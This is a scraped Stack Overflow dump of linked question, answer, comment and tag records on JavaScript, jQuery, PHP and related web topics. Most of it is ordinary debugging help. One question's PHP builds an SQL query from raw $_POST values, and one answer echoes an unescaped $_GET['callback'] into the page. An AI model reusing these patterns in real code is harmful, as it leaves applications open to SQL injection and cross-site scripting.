accepted answer: http://stackoverflow.com/a/25704564
has title: Auto tab to next blank text input box
type: AnsweredQuestion

http://stackoverflow.com/comment/40077301
type: QuestionComment
has text: possible duplicate of [Toggle multiple KML/KML layers in google maps API v3](http://stackoverflow.com/questions/17409598/toggle-multiple-kml-kml-layers-in-google-maps-api-v3)
comment on: http://stackoverflow.com/q/25647911
score: 0
type: Comment

http://stackoverflow.com/comment/131711069
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/55497721
type: Comment
has text: @MikkoRantalainen I think your comment is in agreement with my answer. [`Element.closest()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/closest) [had just been added to the DOM spec](https://github.com/whatwg/dom/commit/fd69cc7ed9251d12b1185b24e6f89d3f0481f39d) around the time this question was posted and nowadays [it's supported in >95% of browsers](https://caniuse.com/element-closest) (though IE requires a polyfill like `jQuery` or [`dom-closest`](https://github.com/necolas/dom-closest)).

http://stackoverflow.com/comment/40156469
type: QuestionComment
comment on: http://stackoverflow.com/q/25692216
type: Comment
has text: Maybe you're loading different versions of your JavaScript code due to some sort of cache issue.
score: 1

http://stackoverflow.com/q/25623331
has title: Select component in Pentaho CDE
tagged with: pentaho
has comment: http://stackoverflow.com/comment/40064462
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40075248
has answer: http://stackoverflow.com/a/26136201
tagged with: pentaho-cde
answer count: 1
tagged with: css
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40060481
has body: I have a select component which has two options and a button. According to the options in the select component charts will be displayed in the dashboard. "Option1" in the drop down list is the default option so in the click action of the button I have written the following code to make "Option1" the first option. $("#LongestActivation_LongestTypeDD option:first").attr("selected", true); As soon an option is selected from the select component a javascript code is fired. But when I have the above code it does not get fired the first time but only gets fired the second time. Is there any other way I can make "Option1" the default option without using the above code?
type: Question

http://stackoverflow.com/comment/40235430
comment on: http://stackoverflow.com/q/25707097
has text: Here is what I have attempted var v1 = +getField("Meds.Nil").value; if (v1="Yes") (checkbox.check==true) "Meds.Nil” is the source variable and this code is in the javascript code section of the destination checkbox variable. In the source variable under Options, output is “Yes” if the checkbox is checked.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25699302
has answer: http://stackoverflow.com/a/25703322
has answer: http://stackoverflow.com/a/25723297
type: AnsweredQuestion
score: 2
upvote count: 2
possible better answer: http://stackoverflow.com/a/25703322
accepted answer: http://stackoverflow.com/a/25723297
has body: The following works when triggered and a file was chosen, but i don't even want to use the event in this case, i want the file to be loaded automatically from path and to be read line by line. &lt;input type="file" id="fileinput" /&gt; &lt;script&gt; function readSingleFile(evt){ //Retrieve the first (and only!) File from the FileList object var f = evt.target.files[0]; if(f){ var r = new FileReader(); r.onload = function(e) { var contents = e.target.result; // Some code } r.readAsText(f); }else{ alert("Failed to load file"); } } document.getElementById('fileinput').addEventListener('change', readSingleFile, false); &lt;script&gt;
type: Question
has comment: http://stackoverflow.com/comment/40170217
tagged with: javascript
has title: Reading from text file without using event in javascript
answer count: 2
linked to: http://stackoverflow.com/q/805107
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40170502

http://stackoverflow.com/comment/40165283
type: Comment
type: QuestionComment
has text: lets say the index page has an iframe that has "music.htm". all the navigation on the site is inside the iframe. so when a link (all on the same local server) is clicked on music.htm it navigates to another page in the iframe. now lets say the user clicked on 'guitar.htm' from the music.htm page. now, there is a pic, to the right of the iframe of musical instruments. but now the user click on 'guitar.htm' so i want the pic to be a guitar (in the index page). maybe have some php code that can pick up the new link and assume it is about guitar, then <if (link=guitar{ show guitar pic }
comment on: http://stackoverflow.com/q/25694094
score: 0

http://stackoverflow.com/comment/40000126
has text: "best" --- the best from what perspective? `if` statement takes one line. Is a single line too complicated?
comment on: http://stackoverflow.com/q/25606129
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/25578400
type: Answer
has comment: http://stackoverflow.com/comment/39950114
answers question: http://stackoverflow.com/q/25578321
has body: Simply check each pixel against the "green-screen" image and and if they're equal by some threshold make them transparent, or set them to what ever you want. Depending on the resolution of the image you want to process, using a normal canvas(2D) will probably be too slow to do this. If you would like to process video content in "realtime" you would need to go with a webgl approach with a simple glsl shader. I dont know of any libraries doing this for you. Using the canvas approach should be fairly simple, using webgl you would need to learn some webgl using framebuffers, textures, basic geometry rendering(a library like threejs could handle the aforementioned) as well as some basic glsl.
score: 0

http://stackoverflow.com/comment/39958341
has text: You should at least try something, and come back if you have a more specific problem when implementing it. As is, this question does not fit Stack Overflow format.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25583440

http://stackoverflow.com/q/25657796
has comment: http://stackoverflow.com/comment/40094233
tagged with: javascript
tagged with: angularjs
has answer: http://stackoverflow.com/a/25657865
type: AnsweredQuestion
has body: I have one error on my JSHint from Grunt and it goes along the lines of: line 48 col 23 Expected '===' and instead saw '=='. Using '===' breaks the code. I've Google around and apparently the option to disable this is broken (using latest version as of 4th, September 2014) My code goes as such: $scope.getStationById = function(stationId) { var parsedId = stationId, foundStation; angular.forEach($scope.stations, function(station) { if(station.id == parsedId) { foundStation = station; } }); return foundStation; }; Any suggestions on how I can silence this annoying error? EDIT A console log of: console.log(station.id + " | " + parsedId); Produces: 1 | 1 3 | 1 5 | 1
type: Question
has title: AngularJS foreach loop with JsHint and eq operator
accepted answer: http://stackoverflow.com/a/25657865
tagged with: gruntjs
tagged with: jshint
score: 0
has comment: http://stackoverflow.com/comment/40094174
answer count: 1

http://stackoverflow.com/q/25640119
tagged with: onbeforeunload
downvote count: 0
has title: Jquery Exit Popup meanwhile trigger a function
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40061845
score: 1
has body: My goal is to trigger a pop up function meanwhile the user is going out from my website. So I want to show a exit popup and in the background show my pop up at the same time. I already have found different code on internet but no one works well. Code : &lt;script type="text/javascript"&gt; function PopUp() { return 'Do you wnat to leave my site?'; } function UnPopIt() { /* no data */ } $(document).ready(function() { window.onbeforeunload = PopUp; }); &lt;/script&gt; Is it possible to trigger a function like a pop up in the background ? I am trying this code but it doesn't work : function PopUp() { alert ('Do you wnat to leave my site?'); triggerpopup(); }
upvote count: 1
answer count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25641420
tagged with: popupwindow
accepted answer: http://stackoverflow.com/a/25641420

http://stackoverflow.com/comment/39982259
has text: Ok based on some answers here, I think I've figured it out. I was going to put it up as a new project on Github...would it be inappropriate to link to that project from here?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25595482
score: 0

http://stackoverflow.com/comment/39911308
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25558101
type: Comment
has text: @FrançoisWahl I got your point, but considering that the only manipulation here is to hide an element, I think it's a waste to create a separate function.

http://stackoverflow.com/comment/40170683
type: Comment
comment on: http://stackoverflow.com/a/25699219
has text: @ramki_ramakrishnan...just change @Html.EditorFor(model => model.Registereddate) with @Html.TextBoxFor(model => model.Registereddate) and try..
type: AnswerComment
score: 0

http://stackoverflow.com/q/25712083
tagged with: javascript
has answer: http://stackoverflow.com/a/50268559
favorite count: 0
has comment: http://stackoverflow.com/comment/70100941
has comment: http://stackoverflow.com/comment/40223104
has comment: http://stackoverflow.com/comment/40204800
accepted answer: http://stackoverflow.com/a/25712665
has comment: http://stackoverflow.com/comment/40204814
has comment: http://stackoverflow.com/comment/40218372
has comment: http://stackoverflow.com/comment/40222481
has body: I am trying to get data from two tables like (fetch all users and their details) tableOne.on('users', function (snapshot) { userId = snapshot.val().userId; // line 1 (results like 1,2,3,4,5,6) anotherTable.child('userdetails').child(userId).once('value', function(mediaSnap) { // result // line 2 }); }); but the problem is line 1 executes first for the 6 times and then line 2 that n times resulting in everytime looking for 'where user id is - 6'...isn't joins supported in Firebase? Any help is apreciated
tagged with: firebase
has comment: http://stackoverflow.com/comment/40193867
type: AnsweredQuestion
score: 10
has comment: http://stackoverflow.com/comment/40223182
upvote count: 10
has answer: http://stackoverflow.com/a/25712665
type: Question
answer count: 2
has title: how to do joins on Firebase tables
possible better answer: http://stackoverflow.com/a/50268559
downvote count: 0

http://stackoverflow.com/comment/39926130
type: QuestionComment
comment on: http://stackoverflow.com/q/25566077
has text: i assumed that each sting that i was passing into the function had to be declared as parameters of the function.
score: 0
type: Comment

http://stackoverflow.com/a/25727247
answers question: http://stackoverflow.com/q/25686801
score: 0
type: AcceptedAnswer
has body: I took a look at the google group Zlatko suggested. I found that Nathan Rajlich compiles the RPi builds, but has run into an issue since v0.10.29. Currently, however, v0.10.29 and v0.10.30 are failing to compile on ARM out-of-the-box. Follow this issue for updates on that: https://github.com/joyent/node/issues/8062. It seems there is some hacking around to deal with the errors cropping up. It is beyond me, which is why I liked the node.js build for the RPi in the first place. I will continue with the old node.js build and hope for a RPi build in the future.
type: Answer
accepted answer of: http://stackoverflow.com/q/25686801

http://stackoverflow.com/comment/40130443
score: 0
type: AnswerComment
type: Comment
has text: masum7, thanks! I do get this error _ReferenceError: BueonosaireString is not defined_. Am I right that the line with the _city =…_ assignment is reading strings from the _contentStrings_ array to build those variable names?
comment on: http://stackoverflow.com/a/25677178

http://stackoverflow.com/a/25594661
has body: I think I got it with one regex var re = /(?:\*\*\[(.*)\]\((.+)\) (.+)\*\* .*\n)(?:([^\*(?:\-\-\)]+))?/g; I'm not sure it is what you asked for but it matches your input and output. You can play with it here (Regex101 example) And here you can find a JSFiddle that uses that regex and displays the captured groups. Of course it is not very strict, so you could have to change it to your needs. I hope this is what you wanted.
upvote count: 1
has comment: http://stackoverflow.com/comment/39979292
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/25588393
score: 1
has comment: http://stackoverflow.com/comment/39980549
has comment: http://stackoverflow.com/comment/39979699
has comment: http://stackoverflow.com/comment/39980236

http://stackoverflow.com/q/25573397
upvote count: 1
type: Question
tagged with: javascript
tagged with: extjs
downvote count: 0
has title: Sencha Touch nested horizontal dataview: can't scroll
favorite count: 0
has body: I have a somewhat complex layout inside of dataview, with some nested components. The problem is, one of the components - a horizontal list - does not properly scroll horizontally if the inner items extend beyond the container (thats the point of scrolling right?). As seen below, I have a re-usable module via custom xtype that I use called the 'classbar' (buttons on top that filter the dataview items). This is the component that does not scroll correctly; it always "snaps" back to starting position. Screencast here: http://screencast.com/t/HltnY41b You can see that when I switch to the "Attendance" view, the classbar scrolls horizontally as expected. I believe this is because the main container of this view is a 'Ext.Container', where as the view in question is a 'Ext.dataview.List.' I need the dataview because it utilizes pullrefresh and listpaging plugins (not available on a xtype:Container) Any advice is appreciated. Ext.define('App.view.feed.Feed', { extend: 'Ext.dataview.List', xtype: 'Feed', alias: 'widget.feedlist', requires:[ 'Ext.plugin.PullRefresh', 'Ext.plugin.ListPaging', 'Ext.ux.classbar.Classbar' ], config: { scrollable:{ directionLock: true }, plugins: [{ xclass: 'Ext.plugin.PullRefresh' },{ xclass: 'Ext.plugin.ListPaging', autoPaging: true }], cls: 'feedlist', items:[{ cls: 'feedbar', scrollDock: 'top', xtype: 'container', items:[ { /* the problem is here */ xtype: 'classbar', cls:'feedClassbar' }, { xtype: 'panel', html:'Feed', cls: 'feedTitle' } ] }] }, initialize: function(){ var me = this; var store = Ext.getStore('FeedStore'); me.callParent(arguments); me.setStore(store); var tpl = new Ext.XTemplate( ' '+ ' '+ ' ' + ' {content:ellipsis(50)} {summary} ' + ' ' + ' ' + ' {[this.dueInfo(values.expiresdate)]} ' + ' ' + ' '+ ' ',{ dueInfo: function(date){ var origDate = moment(date).format("MMM Do"); var today = moment().format("MMM Do"); if (today.match(origDate)){ return "Today" } else{ return origDate } } }); me.setItemTpl(tpl); } });
tagged with: sencha-touch
type: UnansweredQuestion
tagged with: css
tagged with: cordova
answer count: 0
score: 1

http://stackoverflow.com/a/25613445
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25613364
answers question: http://stackoverflow.com/q/25613364
type: AcceptedAnswer
downvote count: 0
has body: You should see that line as a shortened version of this. // declare w as a variable var w; // if w is already declared, leave it if (!w) { // if not make it an empty object w = {}; } In the global context (where I'm sure this is defined), using var will not overwrite an existing global. So basically, you are ensuring that there is a var by the name of w that you are able to store properties on.
type: Answer
score: 2

http://stackoverflow.com/comment/58564165
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25621410
has text: @Cétia, please add your comment as an actual answer. Comments should not be used to answer the question. Alternatively (I just saw your stats), in order to not offend you seeing as you are a seasoned SO user, maybe I misunderstood. Please explain why you did it as a comment :)
type: Comment

http://stackoverflow.com/comment/40084939
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25652772
has text: Ok. Then Sunand's answer is more suitable in your case.
score: 0

http://stackoverflow.com/q/25579891
has title: Issue On Passing PHP Value to jQuery Function
has answer: http://stackoverflow.com/a/25579902
type: UnansweredQuestion
has body: Can you please take a look at this code and let me know why I am not able to pass variable value from PHP to jQuery? <?php $data = "This is For Test"; ?> Default Thanks
tagged with: php
has answer: http://stackoverflow.com/a/25579904
linked to: http://stackoverflow.com/q/23740548
upvote count: 1
downvote count: 1
type: Question
linked to: http://stackoverflow.com/q/5895842
duplicate of: http://stackoverflow.com/q/23740548
tagged with: javascript
duplicate of: http://stackoverflow.com/q/5895842
tagged with: jquery
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25579908
favorite count: 0

http://stackoverflow.com/comment/39916777
type: QuestionComment
has text: What exactly isn't working? What is the output of your logging and how does it differ from what you'd expect?
score: 0
comment on: http://stackoverflow.com/q/25561150
type: Comment

dojo
tags question: http://stackoverflow.com/q/25681815
tags question: http://stackoverflow.com/q/25630367
tags question: http://stackoverflow.com/q/25626724
tags question: http://stackoverflow.com/q/25687063
type: Tag
tags question: http://stackoverflow.com/q/25651805
tags question: http://stackoverflow.com/q/25688015
tags question: http://stackoverflow.com/q/25680558
tags question: http://stackoverflow.com/q/25592585
tags question: http://stackoverflow.com/q/25682048
tags question: http://stackoverflow.com/q/25581576
tags question: http://stackoverflow.com/q/25551019
tags question: http://stackoverflow.com/q/25672771
tags question: http://stackoverflow.com/q/25635913
tags question: http://stackoverflow.com/q/25569595
tags question: http://stackoverflow.com/q/25669301
tags question: http://stackoverflow.com/q/25606379
tags question: http://stackoverflow.com/q/25665063
tag name: dojo
tags question: http://stackoverflow.com/q/25594948
tags question: http://stackoverflow.com/q/25694543

http://stackoverflow.com/comment/39924599
has text: @EhsanSajjad what should i use in the place of #facets??in my code...
comment on: http://stackoverflow.com/q/25564964
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/25570914
score: 0
has body: Try this Sub page
answers question: http://stackoverflow.com/q/25570762
type: Answer

http://stackoverflow.com/q/25564445
tagged with: javascript
type: Question
has comment: http://stackoverflow.com/comment/39922640
has answer: http://stackoverflow.com/a/25564568
linked to: http://stackoverflow.com/q/1291942
favorite count: 0
score: 0
duplicate of: http://stackoverflow.com/q/1291942
upvote count: 1
answer count: 1
downvote count: 1
has body: I have more than a few doubts regarding javascript:void(0). the following are my doubts. I know it returns "undefined" but what is the significance of it. Or in other words, at what sitiation or circumstance do we use javascript:void(0); what exactly does the programmer want when he uses javascript:void(0) I'm asking this question because i dont have a clear understanding of javascript:void(0) and it might be stupid. But what would happen if i use javascript:myFunction("some argument") instead. like for example &lt;a href="javascript:myFunction("args")"&gt;&lt;/a&gt; please focus more on the second part.
accepted answer: http://stackoverflow.com/a/25564568
linked to: http://stackoverflow.com/q/134845
has comment: http://stackoverflow.com/comment/39922970
has title: significance of javascript:void(0) returning "undefined"
has comment: http://stackoverflow.com/comment/39922603
type: AnsweredQuestion

http://stackoverflow.com/comment/40046805
has text: For the time being, I think they will remain static
comment on: http://stackoverflow.com/q/25631505
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40136041
has text: you set `code` before the tight loop, but within the loop you only set it if it is set to the number you're looking for. That doesn't make sense.
type: Comment
comment on: http://stackoverflow.com/q/25681166
type: QuestionComment
score: 0

http://stackoverflow.com/comment/39920742
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25562763
has text: You can't wait. That is not how node works. Give the value to `callback`, like the code is already doing. Forget about `return`. `return` is only useful for things you can give back immediately; if you need to wait, that's what `callback` is for. All the asynchronous libraries (async, await...) are just making synchronization of several callbacks easier, and it does not apply to whatever you are doing. Tamejs is actually not JavaScript. So, again I ask: what is it you would you want to do after the "wait"? "return value" is not an answer, think bigger. What do you want the token for?

http://stackoverflow.com/comment/39960566
has text: That is because the functions are being called after `for` loop has been finished. So the time the function is being executed the value of `i` is `5`.
comment on: http://stackoverflow.com/q/25584689
score: 3
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25633084
tagged with: php
upvote count: 3
type: UnansweredQuestion
has body: I am getting two numbers from users and then displaying their sum in a disabled textbox. I am also storing the inputs in my db. Everything works fine. I can pass number1 and number2 to my database but i am not able to pass sum to db. I've spent too much time to solve this problem by myself but no luck. Can you please check my code and let me know what i am missing here? What i want is to store sum into my db. So this is my form: Enter number1: Enter number2: Sum this is my script: var sum = (number1 + number2); $('#sum').val(sum); and this is my php code: <?php ..connection info here.. $number1 = $_POST['number1']; $number2 = $_POST['number2']; $sum = $_POST['sum']; $stmt = $mysqli->prepare("INSERT INTO mytable VALUES( '$number1', '$number2', '$sum')"); if($stmt) echo "Done."; else echo "Error."; $stmt->execute(); $stmt->close(); $mysqli->close(); ?>
linked to: http://stackoverflow.com/q/3757806
has answer: http://stackoverflow.com/a/25633105
type: Question
score: 3
tagged with: javascript
has comment: http://stackoverflow.com/comment/51289100
has answer: http://stackoverflow.com/a/25637133
answer count: 3
downvote count: 0
tagged with: jquery
favorite count: 0
has title: Getting value of a disabled textbox in PHP
has answer: http://stackoverflow.com/a/36325265
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40074053
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25630511
score: 0
has text: Ok, I've bookmarked MDN. (And looking for accepting an answer ...)

http://stackoverflow.com/comment/39931362
has text: Remove the `var` inside the loop.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25569074

http://stackoverflow.com/comment/39941848
score: 0
has text: @DavidLaberge Yes, exactly.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25574242

http://stackoverflow.com/comment/40019853
has text: No error , moves to the link but the link shows error like not recognized etc...
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25616925

http://stackoverflow.com/comment/40051830
type: Comment
has text: If you have access to cronjobs, you could run one every few seconds and choose at random if you would like to update a value in the database or something similar
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25634403

http://stackoverflow.com/q/25602145
tagged with: dygraphs
score: 1
has comment: http://stackoverflow.com/comment/49209264
type: Question
downvote count: 0
tagged with: javascript
has body: I've got some graphs where I'm using error bars to display a fan chart. This works well. I also want to display individual series without error bars as an overlay. I've got lots of these individual series, which I display one at a time using the visibility option, but the problem is that I have to construct the data in the error bar format: ie, 3 values, all identical, for each time step. Is there any way of avoiding this? The data ends up looking like this (for t=1) [1, [5, 50, 95], [10, 50, 90], [25, 50, 75]... [27, 27, 27], [30, 30, 30], [61, 61, 61]] where the ones before the ellipsis are the fan chart data, and the ones after are the individual series. Edit: Here's a jsFiddle of a simplified version (it has only one individual series, which is always visible)
answer count: 1
has title: Dygraphs: is it possible to mix series with and without error bars?
has comment: http://stackoverflow.com/comment/39992492
favorite count: 0
type: UnansweredQuestion
upvote count: 1
has answer: http://stackoverflow.com/a/32718323

http://stackoverflow.com/comment/39934917
type: AnswerComment
comment on: http://stackoverflow.com/a/25570667
type: Comment
has text: Thanks a lot, so simply it is a method to avoid static files to be cached.
score: 0

http://stackoverflow.com/comment/40036153
has text: Sure, use underscore
comment on: http://stackoverflow.com/q/25625991
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25680114
type: Question
has comment: http://stackoverflow.com/comment/40136585
accepted answer: http://stackoverflow.com/a/25683747
downvote count: 0
tagged with: javascript
answer count: 1
tagged with: jquery
favorite count: 0
has body: Though I have successfully colored the bars of google chart individually but not able to keep them when we hover mouse over it. It is getting reset back to blue(which is default). Here is the jsfiddle of what I have done jsfiddle. I tried to control the hover behaviour with multiple ways like below. This I am keeping outside (document.ready) but inside script tag. 1) $('#chart_div').hover( function() { $('#chart_client').hide(); // chart_client is another google chart div. }, function() { // just for testing I was doing hide/show of that. $('#chart_client').show(); } ); 2) $("#chart_div").on({ mouseenter: function () { $('#chart_client').hide(); }, mouseleave:function () { $('#chart_client').show(); } },'rect'); 3) google.visualization.events.addListener('#chart_div', 'ready', function () { $('#chart_div rect').mouseover(function (e) { alert('hello'); }); }); I must be doing something wrong, could you please tell me what and where.
has answer: http://stackoverflow.com/a/25683747
type: AnsweredQuestion
has title: How to color Google Column Chart's every bar differently and keep them as it is
score: 1
upvote count: 1

http://stackoverflow.com/q/25599683
tagged with: javascript
has title: How to call a function in google chrome extension
score: 0
has body: I want to call a function from html file in google chrome extension, where can I write the function definition for manifest.json File is { "name": "Context Menus Sample", "description": "Shows some of the features of the Context Menus API", "version": "0.6", "permissions": ["contextMenus"], "browser_action": { "default_icon": "icon.png", "default_popup": "colorConverter.html" }, "manifest_version": 2 } colorConverter.html File is Convert/Choose HEX Color Code Insert RGB Color Value [e.g: 255 255 255 ] Red Green Blue HEX Equivalent This is your color where can I define the following function, If I define it on the same page It shows error. function ss() { alert("execute"); }
tagged with: google-chrome-extension
answer count: 1
linked to: http://stackoverflow.com/q/13591983
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25605272
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/39992499
type: Question

http://stackoverflow.com/a/25698076
has body: var test={"result":[["abc","de"],["fgh"],["ij","kl"]]}; var tmp=[]; for(var i in test.result){ for(var j in test.result[i]){ tmp.push(test.result[i][j]); } } test.result=tmp; alert(JSON.stringify(test)); jsfiddle link http://jsfiddle.net/fu26849m/
score: 0
answers question: http://stackoverflow.com/q/25697893
type: Answer

http://stackoverflow.com/tag/csv
type: Tag
tags question: http://stackoverflow.com/q/25684370
tag name: csv
tags question: http://stackoverflow.com/q/25575415
tags question: http://stackoverflow.com/q/25627128
tags question: http://stackoverflow.com/q/25692783
tags question: http://stackoverflow.com/q/25629374
tags question: http://stackoverflow.com/q/25552125
tags question: http://stackoverflow.com/q/25700113
tags question: http://stackoverflow.com/q/25560827
tags question: http://stackoverflow.com/q/25603947
tags question: http://stackoverflow.com/q/25589248
tags question: http://stackoverflow.com/q/25647521

unit-testing
tags question: http://stackoverflow.com/q/25599046
tags question: http://stackoverflow.com/q/25667268
tags question: http://stackoverflow.com/q/25647046
tags question: http://stackoverflow.com/q/25556844
tags question: http://stackoverflow.com/q/25655446
tags question: http://stackoverflow.com/q/25561247
tags question: http://stackoverflow.com/q/25575802
tags question: http://stackoverflow.com/q/25593369
tags question: http://stackoverflow.com/q/25555449
tags question: http://stackoverflow.com/q/25688880
tags question: http://stackoverflow.com/q/25595202
type: Tag
tags question: http://stackoverflow.com/q/25678063
tags question: http://stackoverflow.com/q/25621733
tag name: unit-testing
tags question: http://stackoverflow.com/q/25617295
tags question: http://stackoverflow.com/q/25567303
tags question: http://stackoverflow.com/q/25614096

http://stackoverflow.com/q/25680745
tagged with: javascript
tagged with: jquery
has title: jQuery Ajax syntax unexpected token
score: 0
has answer: http://stackoverflow.com/a/25680792
has body: I've been trying to get something to work with AJAX/jQuery and Servlets, and I keep getting syntax errorrs and the browser doesn't show where the error lies. Here's the code. JSP Page Hello World! And then in my servlet I have this ; protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=UTF-8"); PrintWriter out = response.getWriter(); try { String val = request.getParameter("mn"); String msg = "Hi User"; if(val!=null) msg = "Hi, " + val; response.setCharacterEncoding("UTF-8"); response.setContentType("text/plain"); response.getWriter().write(msg); } finally { out.close(); } }
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40135155
type: Question
accepted answer: http://stackoverflow.com/a/25680792
has answer: http://stackoverflow.com/a/25680802
possible better answer: http://stackoverflow.com/a/25680802
tagged with: servlets
answer count: 2

http://stackoverflow.com/comment/40162777
has text: Yes, it does have to do with the checkbox pulling the items out of the filter. If you're watching a second property that does not drive the filter then the watch works: http://plnkr.co/edit/PrPuFNwsi0wyIVcrOC5P
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25695183

http://stackoverflow.com/a/25654572
has body: i think you can do it like that: $.fn.sadstory = function(options,callback) { if (options &amp;&amp; typeof options === 'object') { $.extend(parameter, options); } testf(); // example, var c is passed to callback function var c= "abc"; callback(c); return this; } you can call like .sadstory({..},function(c) { console.log(c) // logs "abc" }) should also work as property of options
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25654526

http://stackoverflow.com/comment/40011264
type: Comment
comment on: http://stackoverflow.com/q/25612423
score: 0
type: QuestionComment
has text: `newFunction` has access to its parent’s scope. Each time you call `makeMysteryFunction`, there’s a new scope and a new function.

http://stackoverflow.com/comment/39957612
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25582981
has text: There are absolutely no rules in English that link spelling patterns to parts of speech. There are words that are both nouns and verbs ("fly").

http://stackoverflow.com/comment/40149796
comment on: http://stackoverflow.com/q/25688815
type: QuestionComment
has text: also you have an invalid input button tag - you seem to have closed it with `);` instead of `>` - [works if you sort out your syntax errors](http://jsfiddle.net/hxgcnLu2/1/) or [with errors](http://jsfiddle.net/hxgcnLu2/2/)
score: 0
type: Comment

http://stackoverflow.com/a/25610241
has body: what if: url: DEV_SERVER + "/check_in/add?callback=?" $return = $_GET['callback']."('".json_encode($res)."')"; and then try some experimental: $return = '&lt;script&gt;'.$_GET['callback']."('".json_encode($res)."');&lt;/script&gt;";
has comment: http://stackoverflow.com/comment/40007843
has comment: http://stackoverflow.com/comment/40010214
has comment: http://stackoverflow.com/comment/40009151
score: 0
has comment: http://stackoverflow.com/comment/40010814
answers question: http://stackoverflow.com/q/25610095
has comment: http://stackoverflow.com/comment/40008043
type: Answer

http://stackoverflow.com/comment/40110133
type: Comment
has text: You should use your browser developer tools to debug these sorts of things. You can set a breakpoint in the javascript and have a look at what all your variables are at the point where things go wrong. I set a breakpoint on the first line of the self.editTier function and discovered the following. These variables are undefined for your `LoadRateViewModel`, so cannot be used as observables: `self.compoundrate`, `self.bothrate`, `self.simplerate`, `self.tierIdentifier`, `self.rate`. See the added declarations in this fiddle: http://jsfiddle.net/c48sLdbc/1/
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25664111

http://stackoverflow.com/a/25601992
type: Answer
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/25599184
has body: you can simply put an if-else condition to your directive and it is done... ctrl.$parsers.unshift(function (viewValue) { console.log(viewValue); if(viewValue){ var plainNumber = viewValue.replace(/[^\d|\-+|\.+]/g, ''); elem.val($filter('number')(plainNumber)); return plainNumber; }else{ return ''; } }); here is working JSFIDDLE
answers question: http://stackoverflow.com/q/25599184
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39996604

http://stackoverflow.com/a/25695121
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/25695093
has body: If you are running on .php file it will show test in editor box. You must html encode to escape it. &lt;?php echo htmlspecialchars('&lt;?php echo \'test\'; ?&gt;'); ?&gt;
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40162074

http://stackoverflow.com/comment/39916167
score: 0
type: AnswerComment
has text: Ah, yes. In general, you should always use `model.set("id", idValue)` for all attribute changes, even and especially the ID attribute. (If you have set `idAttribute` to something else on the model prototype, use that name as the first argument instead of `"id"`.)
type: Comment
comment on: http://stackoverflow.com/a/25557879

http://stackoverflow.com/comment/40137123
comment on: http://stackoverflow.com/q/25681508
has text: [{"Period":"34","CountUsers":19},{"Period":"35","CountUsers":9}] . I replaced these values with my testdata to check if the chart got loaded and it does.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/76916935
type: Answer
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/25654558
has body: The HTML5 audio element has many limitations and it's not well suited for a complex audio use-case like what you are describing, which seems to be a game. Instead, consider using the WebAudio API. You'll have to: Use a XMLHttpRequest to load your audio file in a buffer Assign that buffer to a AudioBufferSourceNode instance. Connect that node to the appropriate destination or intermediate nodes (e.g. GainNode). If you also need to stop sounds, you'll need to keep track of each source node that is created and that hasn't finished playing yet, which can be done by listen to the source node's onended. Here's a class that encapsulates the logic to load a sound from a URL and play/stop it as many times as you want, keeping track of all currently playing sources and cleaning them up as needed: window.AudioContext = window.AudioContext || window.webkitAudioContext; const context = new AudioContext(); export class Sound { url = ''; buffer = null; sources = []; constructor(url) { this.url = url; } load() { if (!this.url) return Promise.reject(new Error('Missing or invalid URL: ', this.url)); if (this.buffer) return Promise.resolve(this.buffer); return new Promise((resolve, reject) =&gt; { const request = new XMLHttpRequest(); request.open('GET', this.url, true); request.responseType = 'arraybuffer'; // Decode asynchronously: request.onload = () =&gt; { context.decodeAudioData(request.response, (buffer) =&gt; { if (!buffer) { console.log(`Sound decoding error: ${ this.url }`); reject(new Error(`Sound decoding error: ${ this.url }`)); return; } this.buffer = buffer; resolve(buffer); }); }; request.onerror = (err) =&gt; { console.log('Sound XMLHttpRequest error:', err); reject(err); }; request.send(); }); } play(volume = 1, time = 0) { if (!this.buffer) return; // Create a new sound source and assign it the loaded sound's buffer: const source = context.createBufferSource(); source.buffer = this.buffer; // Keep track of all sources created, and stop tracking them once they finish…
downvote count: 0

http://stackoverflow.com/comment/40162284
score: 0
type: AnswerComment
